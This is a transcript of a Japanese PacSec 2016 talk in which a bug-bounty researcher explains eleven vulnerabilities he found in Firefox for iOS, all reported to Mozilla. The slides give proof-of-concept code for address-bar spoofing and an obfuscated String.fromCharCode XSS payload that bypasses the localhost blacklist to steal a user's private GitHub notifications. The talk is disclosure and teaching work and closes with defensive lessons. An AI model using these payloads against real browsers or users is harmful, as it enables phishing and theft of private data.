Nishimura i os版firefoxの脆弱性を見つけ出す_jp

74
iOS版Firefoxの脆弱性を ⾒つけ出す 2016.10.27 at PacSec 2016

Transcript of Nishimura i os版firefoxの脆弱性を見つけ出す_jp

iOS版Firefoxの脆弱性を⾒つけ出す2016.10.27 at PacSec 2016

株式会社リクルートテクノロジーズ シニアセキュリティエンジニアセキュリティ・キャンプ全国⼤会 2016 アプリケーショントラックリーダー週末バグハンター

⻄村 宗晃 - にしむねあ

Firefox for iOS

Webコンテンツの表⽰にはAppleのWKWebViewが使われている

ユーザインタフェースはMozillaがSwift⾔語で開発している

Mozillaの脆弱性報奨⾦制度の対象であるしかし、WKWebViewの脆弱性は対象外

私は11個の脆弱性を発⾒し、22,000ドルの報奨⾦を獲得した

Bug 1224529 Bug 1267019 Bug 1290732

Bug 1224906 Bug 1278053 Bug 1290760

Bug 1224910 Bug 1279787 Bug 1293931

Bug 1258188 Bug 1290714

• Firefox for iOSのソースコードはGitHub上にあるhttps://github.com/mozilla/firefox-ios

• 私はソースコードからあるキーワードを検索して、脆弱性を⾒つけている(通勤中に)

アドレスバーの偽装

• WKWebViewのURLプロパティは現在開かれているページのURLを返却する

• しかし、アプリがこのURLを何もケアせずそのまま表⽰している場合、URLが偽装できてしまう

ホスト名の前のuserinfoフィールドを⽤いたアドレスバー偽装

Bug 1224906

URLのuserinfoフィールド2004年頃、URL偽装の攻撃に使われてきた

<a href="https://[email protected]">Microsoft?</a>

Userinfo

• Internet Explorerはアドレスバーの表⽰時にuserinfo部分を取り除く

• Safariはリンク先を開く前にフィッシングサイトの警告画⾯を表⽰する

• WKWebViewはURLプロパティからuserinfo部分を除去しない

• 各アプリがURLを表⽰する際にケアする必要がある

• Firefox for iOSはURLプロパティの値を直接表⽰していた

そして古典的なURL偽装が再現したMozillaは修正したが、未だに幾つかのiOSブラウザが同じ問題を抱えている

無効なURLスキームを⽤いたアドレスバー偽装

Bug 1224910

• URLプロパティの値とWKWebViewの内部状態には時間差がある

• この時間差はセキュリティ問題の原因となることがある

現在のURL 次のURL

現在のページ 次のページ

URLプロパティ

WKWebViewの内部状態

ページの読み込み完了時

ページ遷移開始時

時間差

現在のURL 次のURL

現在のページ 次のページ

URLプロパティ

WKWebViewの内部状態

無効なURLスキームを⽤いたページのロードこの時間差を悪⽤できる

<a href="nttps://www.google.com">Google?</a>

無効なスキーム

無効なURL

現在のオリジン

ロード処理が完了しない

URLが置きかわる

現在のURLURLプロパティ

WKWebViewの内部状態

w = window.open('nttps://accounts.google.com');

setTimeout(function(){w.document.body.innerHTML='<h1>Hacked.</h1>';

}, 1000);

以下のコードでアドレスバーを偽装できる新しいwindowで無効なURLをロードしている間に、DOMを注⼊する

w = window.open('http://account.google.com');

setTimeout(function(){w.document.body.innerHTML='<h1>Hacked.</h1>';

}, 1000);

iOS版Safari 9.3.3未満でも同様のバグが⾒つかっている存在しないホスト名を⽤いてURLを偽装できた

Script Messagesのオリジン混同

WKWebView

Script Messages

何かする

Script MessagesWKWebViewの機能で、JavaScriptからSwiftのハンドラを呼び出すことができる

https://github.com/mozilla/firefox-ios/blob/Firefox-v5.2b1/Client/Assets/PrintHelper.js

window.print = function() {

webkit.messageHandlers.printHandler.postMessage({})

};

例Firefox for iOSのwindow.print関数はScript Messagesで実装されている

https://github.com/mozilla/firefox-ios/blob/Firefox-v5.2b1/Client/Assets/PrintHelper.js

window.print = function() {

webkit.messageHandlers.printHandler.postMessage({})

};Swiftの印刷機能を呼び出す

例Firefox for iOSのwindow.print関数はScript Messagesで実装されている

https://github.com/mozilla/firefox-ios/blob/Firefox-v5.2b1/Client/Assets/PrintHelper.js

window.print = function() {

webkit.messageHandlers.printHandler.postMessage({})

};messageHandlersという⽂字列を検索すれば同様の機能が⾒つかる

例Firefox for iOSのwindow.print関数はScript Messagesで実装されている

• messageHandlersはどのオリジンでも実⾏可能

• 多くの場合はそれで特に問題ない(printHandlerなど)

• しかし、いくつかのハンドラは実⾏可能なオリジンを制限する必要がある

ログインに使うデータが他のオリジンから盗める(正式リリース前にMozilla内部で⾒つかった問題)

Bug 1194567

WKWebView

1. formを⾒つけるためにJSを注⼊

Username

Password

Login

2. formの情報を送り返す

4. Formを埋めるためにJSを注⼊

3. 現在のURLの認証情報が保存されているか検索

Firefox for iOSのパスワードマネージャー以下の⼿順でページ内のログインフォームを⾃動的に⾒つけて認証情報を埋める

WKWebView

1. formを⾒つけるためにJSを注⼊

Username

Password

Login

2. formの情報を送り返す

4. Formを埋めるためにJSを注⼊

ここでWKWebViewのURLプロパティが使われていた現在のページのユーザ認証情報を探索するために

3. 現在のURLの認証情報が保存されているか検索

URLプロパティを検索キーとして現在のページのID/PWを取得

攻撃者のURL 標的のURL

攻撃者のページ 標的のページ

URL プロパティ

WKWebViewの内部状態

時間差

時間差を利⽤して、標的のページの認証情報を攻撃者のページに⼊⼒させることができた

Accounts command handlerがどのオリジンからでも呼べる

Bug 1293931

Accounts Command Handler WKWebViewと連携してFirefox Syncのログインを⾏う際に使⽤される

ブラウザのUIに認証情報を登録するためにハンドラが⽤いられる

• ハンドラはログイン⽤の特殊なWKWebView でのみ利⽤できる。このWKWebViewにはアドレスバーもなく、全てのリソースはhttps:で配信される

• しかし、ハンドラそのものはオリジンを検証していない

• この実装は安全と⾔えるだろうか?

http://creativecommons.org

はい、攻撃者のFirefoxアカウントが指定されますもし何らかの⽅法でCreative Commonsのサイトを改ざんすれば(中間者攻撃など)

ローカルWebサーバのアクセス制御不備

• Firefox for iOSはフォアグランド動作時にローカルのWebサーバを起動する

• ブラウザの内部ページはこのサーバから配信される(たとえば証明書検証エラーなど)

• ブラウザの機能とローカルサーバ上のURLパスは、WebServerクラスのregisterHandlerForMethod関数で関連付けられる

リーダーモードページを読みやすいレイアウトに変換する機能

http://localhost:6571/reader-mode/page?url=https://blog.mozilla.org/security

• 変換されたコンテンツはローカルWebサーバから配信される

• アドレスバーには元のURLが表⽰されているが、本当のURLは以下となる

元のURLがクエリ⽂字列に含まれる

ホスト名の前のuserinfoを⽤いたリーダーモードでのアドレスバー偽装

Bug 1293068

リーダーモードはクエリ内のURLを直接表⽰していたそのとき、URLのuserinfoを削除し忘れていた

http://localhost:6571/reader-mode/page?url=https://blog.mozilla.org/security

URL in a query was directly used here

これは、さっき⾒たようなuserinfoを⽤いたURL偽装攻撃がリーダーモードでも再現できた

<a href="http://localhost:6571/reader-mode/page?url=https://[email protected]/webmasters/hacked/">Whitehouse?</a>

Userinfo

リーダーモードで、機密のURLがHTTPリファラを通じて漏洩する

Bug 1290732

• GitHubのGistsは秘密モードをサポートする

• ⾮公開ではないので、URLさえわかれば誰でもアクセスできる

• URLが意図せず漏れないようにするため、metaタグでReferrer-Policyが指定されている

• リーダーモードは変換時に全てのmetaタグを削除する。また、ページはhttpの通信路で送信される

• なので, Gistsの秘密のURLが HTTPリファラを通じて漏洩してしまうhttp://localhost:6571/reader-mode/page?url=https://gist.github.com/nishimunea/899da90df5b169a80df39e73fec89e87

秘密のGistのURL

ローカルホストアクセス制限を迂回して他のオリジンのDOMデータを盗み出す

Bug 1279787

• 変換後のページは、元のオリジンにかかわらず、全て共通のlocalhostオリジンから配信される

• もしローカルWebサーバにXSSがあれば、リーダーモードのURLを⽤いて任意のページデータを盗み出すことができてしまう

• しかし問題は、localhostのどこにXSSがあるかだ

なんと、リーダーモードのURLにXSSがあった

http://localhost:6571/reader-mode/page?url=javascript:alert(1)

ここでXSS

public var isLocal: Bool {return host?.lowercaseString == "localhost" ||

host == "127.0.0.1" || host == "::1"}

private extension WKNavigationAction {private var isAllowed: Bool {

return !(request.URL?.isLocal ?? false)

v4.0でローカルホストへのアクセスが制限されたなので、このリーダーモードのXSSは攻撃できなくなった

ホスト名がlocalhost、127.0.0.1、::1のいずれかならブロックされる

https://github.com/mozilla-mobile/firefox-ios/commit/78df359fd64aa7fc98bb2e1e7f65863c434fd3bb

しかし、ホスト名のブラックリストが不⼗分だったなので、http://0x7f000001:6571というURLでXSSが可能だった

<a href="http://0x7f000001:6571/reader-mode/page?url=javascript:document.body.innerHTML=String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,48,120,55,102,48,48,48,48,48,49,58,54,53,55,49,47,114,101,97,100,101,114,45,109,111,100,101,47,112,97,103,101,63,117,114,108,61,104,116,116,112,115,58,47,47,103,105,116,104,117,98,46,99,111,109,47,110,111,116,105,102,105,99,97,116,105,111,110,115,34,32,111,110,108,111,97,100,61,34,97,108,101,114,116,40,116,104,105,115,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,72,84,77,76,41,34,62,60,47,105,102,114,97,109,101,62);">

最終的に、以下のXSSペイロードが実⾏できたこれを踏ませることで、標的のGitHubのプライベートな通知を盗むことができた

<a href="http://0x7f000001:6571/reader-mode/page?url=javascript:document.body.innerHTML=String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,48,120,55,102,48,48,48,48,48,49,58,54,53,55,49,47,114,101,97,100,101,114,45,109,111,100,101,47,112,97,103,101,63,117,114,108,61,104,116,116,112,115,58,47,47,103,105,116,104,117,98,46,99,111,109,47,110,111,116,105,102,105,99,97,116,105,111,110,115,34,32,111,110,108,111,97,100,61,34,97,108,101,114,116,40,116,104,105,115,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,72,84,77,76,41,34,62,60,47,105,102,114,97,109,101,62);">

<iframesrc="http://0x7f000001:6571/reader-mode/page?url=https://github.com/notifications"onload="alert(this.contentDocument.body.innerHTML)"></iframe>

最終的に、以下のXSSペイロードが実⾏できたこれを踏ませることで、標的のGitHubのプライベートな通知を盗むことができた

ここでXSSをトリガーする

フレームを⽣成し、リーダーモードに変換されたGitHubの通知ページを読み込む

親のウィンドウからDOMのデータを盗み出す

Firefox for iOSの脆弱性から学んだこと

• WKWebViewのURLプロパティは注意して使う

• Script Messagesのアクセス制限の必要性を考える

• localhostのWebサーバで機微な情報を配信しない

ありがとう